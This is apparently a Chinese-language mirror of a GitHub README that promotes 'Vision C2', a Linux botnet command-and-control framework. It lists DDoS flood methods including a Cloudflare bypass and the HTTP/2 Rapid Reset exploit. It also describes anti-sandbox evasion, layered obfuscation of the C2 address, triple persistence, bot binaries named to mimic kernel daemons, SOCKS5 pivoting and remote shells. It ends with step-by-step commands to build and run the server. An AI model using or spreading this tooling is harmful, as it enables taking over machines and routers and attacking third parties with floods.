Syn2Much/VisionC2

GitHub: Syn2Much/VisionC2

一个功能完整的 Linux 僵尸网络 C2 框架,集成 DDoS 攻击、SOCKS5 代理和远程 Shell 功能,采用多层加密和反分析技术。

Stars: 12 | Forks: 3

## Vision C2 - 高级 Linux 僵尸网络框架 ![Go](https://img.shields.io/badge/Go-1.24.0+-00ADD8?style=for-the-badge&logo=go) ![Platform](https://img.shields.io/badge/Platform-Linux-009688?style=for-the-badge&logo=linux&logoColor=white) [![Architecture](https://img.shields.io/badge/Full_Architecture-Documentation-blueviolet?style=for-the-badge)](Docs/ARCHITECTURE.md) [![Changelog](https://img.shields.io/badge/Full_ChangeLog-Documentation-blueviolet?style=for-the-badge)](Docs/CHANGELOG.md) ### CNC 主界面 image
## 为什么选择 Vision 而不是其他 Linux 僵尸程序? - **自动化设置** Python 脚本处理一切,甚至无需接触代码。只需运行即可部署。 - **TLS 通信** 完全加密的 bot->c2 会话。通过 443 端口直接混入 HTTP/S 流量。 - **真正的反分析。** 40+ 种 VM/沙箱/调试器特征。父进程调试器检测。沙箱甚至无法到达主循环。 - **二进制文件中零明文。** 所有字符串在构建时使用分离密钥派生进行 AES-128-CTR 加密;C2 地址经过 6 层解码管道(AES > Base64 > XOR > RC4 > 字节替换 > MD5 校验)。所有二进制文件均经过自定义 UPX 加壳。 - **HMAC 挑战-响应注册。** 僵尸程序通过基于 MD5 的挑战-响应和每活动同步令牌进行认证。防止重放攻击。 - **三重冗余持久化。** Systemd 服务 + cron 守护进程 + rc.local 条目。杀死一个,其他的会将其恢复。 - **完整的 SOCKS5 代理。** 通过 RFC 1929 认证进行完整 pivoting。通过 TUI 直接推送运行时凭据更新 —— 无需重新部署。 - **远程 Shell。** 命令执行并完整捕获输出。内置 Linux 快捷方式和后渗透辅助工具,以便在进入后快速 pivoting。 - **守护进程隐蔽性。** Fork+setsid 配合伪装的进程名称。单实例 PID 锁防止在同一主机上运行重复的代理。 - **Layer 7 攻击** Cloudflare Bypass、HTTP/2 Rapid Reset Exploit、TLS Bypass、支持代理列表。祝你在别处找到这些功能。 ## 攻击方式 image
Layer 4 -- 网络/传输层 | Method | Description | |---|---| | **UDP Flood** | 高容量 1024 字节负载轰炸 | | **TCP Flood** | 连接表耗尽 | | **SYN Flood** | 具有随机源端口的 SYN 数据包 | | **ACK Flood** | ACK 数据包洪泛 | | **GRE Flood** | 具有最大负载的 GRE 协议 (47) 数据包 | | **DNS Flood** | 随机 DNS 查询类型(DNS 反射,最大 PPS+) |
Layer 7 -- 应用层 | Method | Description | |---|---| | **HTTP Flood** | 带有随机 Headers + User-Agents 的 GET/POST | | **HTTPS/TLS Flood** | TLS 握手耗尽 + 突发请求 | | **CF Bypass** | 通过会话/Cookie 重用 + 指纹识别绕过 Cloudflare | | **Rapid Reset** | HTTP/2 漏洞利用 (CVE-2023-44487),批量 HEADERS + RST_STREAM | | **Proxy Support** | 所有 L7 方法的完整代理集成(HTTP + SOCKS5) |
## 安装说明 ### 前置条件 ``` sudo apt update && sudo apt install -y openssl git wget gcc python3 screen netcat # Go 1.23+ wget https://go.dev/dl/go1.23.0.linux-amd64.tar.gz sudo rm -rf /usr/local/go && sudo tar -C /usr/local -xzf go1.23.0.linux-amd64.tar.gz echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc && source ~/.bashrc ``` | Requirement | Minimum | Recommended | |---|---|---| | RAM / Storage | 512MB / 1GB | 2GB+ / 5GB+ | | OS | Linux (any) | Ubuntu 22.04+ / Debian 12+ | | Network | Port 443 open | + Admin port for split mode | ### 设置 ``` git clone https://github.com/Syn2Much/VisionC2.git && cd VisionC2 python3 setup.py # Select [1] Full Setup ``` 向导会提示输入 **C2 address**、**admin port**(默认:420)和 **TLS cert details**。输出: ``` bins/ -> 14 bot binaries (multi-arch) cnc/certificates/ -> server.crt + server.key server -> CNC binary setup_config.txt -> Config summary ``` 稍后更改 C2 地址:`python3 setup.py` -> 选项 **[2]**。之后重新部署僵尸程序。 ### 启动 CNC ``` ./server # TUI mode (default, recommended) ./server --split # Telnet mode on admin port (default: 420) ``` **后台运行:** `screen -S vision ./server`(分离:`Ctrl+A, D`) **Split mode 连接:** `nc YOUR_IP 420` -> 输入 `spamtec` -> 登录。 ## TUI 导航 | Key | Action | |---|---| | `Up/Down` or `k/j` | 导航 | | `Enter` | 选择 | | `q` / `Esc` | 返回 / 取消 | | `r` | 刷新 | ### 仪表板视图 - **Bot List** -- 实时僵尸程序状态。`Enter`=shell, `b`=广播 shell, `l`=攻击, `i`=信息, `p`=持久化, `r`=重装, `k`=杀死 - **Remote Shell** -- 单个僵尸程序的交互式 shell。`Ctrl+F`=清除, `Ctrl+P`=持久化, `Ctrl+R`=重装 - **Broadcast Shell** -- 向所有僵尸程序发送命令。`Ctrl+A`=过滤架构, `Ctrl+G`=过滤 RAM, `Ctrl+B`=限制僵尸程序数量 - **Launch Attack** -- 选择方法、目标、端口、持续时间 -> `l` 启动 - **Ongoing Attacks** -- 进度条 + 剩余时间。`s`=停止全部 - **Socks Manager** -- `s`=启动 socks(设置端口 + 通过 tab 可选 user:pass),`x`=停止。更新凭据:`!socksauth ` - **Connection Logs** -- 僵尸程序连接/断开历史 ### 僵尸程序二进制文件 | Binary | Architecture | Use Case | |--------|--------------|----------| | ethd0 | x86_64 (amd64) | 服务器、台式机 | | kworkerd0 | x86 (386) | 32 位系统 | | ip6addrd | ARM64 | Raspberry Pi 4、手机 | | mdsync1 | ARMv7 | Raspberry Pi 2/3 | | deferwqd | MIPS | 路由器 | | devfreqd0 | MIPSLE | 路由器 | | *...and 8 more* | Various | IoT, embedded | ## 架构 ### 两个组件 - **`cnc/`** -- 命令与控制服务器。双监听器:端口 443 上的 TLS 用于僵尸程序连接,使用 Bubble Tea 构建的交互式 TUI。在 `users.json` 中具有四个权限级别(Basic/Pro/Admin/Owner)的 RBAC。 - **`bot/`** -- 部署到目标的代理。通过 TLS 1.3 回连。生命周期:解码运行时配置 -> 守护进程化 -> 单例锁 -> 环境检测 -> 安装启动方法 -> DNS 解析服务器 -> 带重连循环的连接。 ### 关键源文件 | File | Purpose | |------|---------| | `bot/config.go` | 所有配置:原始 AES 数据块(`rawServiceAddr`)、配置种子、同步令牌、构建标签、运行时解码的字符串块 | | `bot/connection.go` | TLS 连接、多方法 DNS 解析链(DoH -> UDP -> A record -> raw) | | `bot/attacks.go` | 所有 L4/L7 洪水方法 | | `bot/opsec.go` | AES 解密、密钥派生、环境检测 | | `bot/persist.go` | 通过 systemd, cron, rc.local 启动 | | `bot/socks.go` | 带有 RFC 1929 认证的 SOCKS5 代理 | | `cnc/ui.go` | Bubble Tea TUI -- 所有视图、键绑定、渲染 | | `cnc/cmd.go` | 命令分发和路由到僵尸程序 | | `cnc/connection.go` | 僵尸程序连接处理、TLS 设置、心跳 | | `cnc/miscellaneous.go` | RBAC、用户认证、工具 | ## 文档 | Document | Description | |---|---| | [`ARCHITECTURE.md`](Docs/ARCHITECTURE.md) | 完整系统架构 | | [`CHANGELOG.md`](Docs/CHANGELOG.md) | 版本历史和变更 | | [`COMMANDS.md`](Docs/COMMANDS.md) | 命令参考 | | [`SETUP.md`](Docs/SETUP.md) | 设置指南 | ## 法律免责声明 ## 作者 **Syn2Much** -- [dev@sinnners.city](mailto:dev@sinnners.city) | [@synacket](https://x.com/synacket)
标签:C2框架, CISA项目, DDoS攻击, DNS 反向解析, DNS 解析, DOM解析, EVTX分析, Go语言, Hakrawler, HTTP工具, IP 地址批量处理, IT运维, Linux恶意软件, Socks5代理, TLS加密, TUI界面, 中高交互蜜罐, 僵尸网络, 反调试, 后门, 多架构, 安全学习资源, 恶意软件开发, 日志审计, 横向移动, 流量伪装, 混淆加密, 程序破解, 编程规范, 网络安全, 网络安全审计, 虚拟机检测, 远程Shell, 逆向工具, 配置错误, 隐私保护, 黑灰产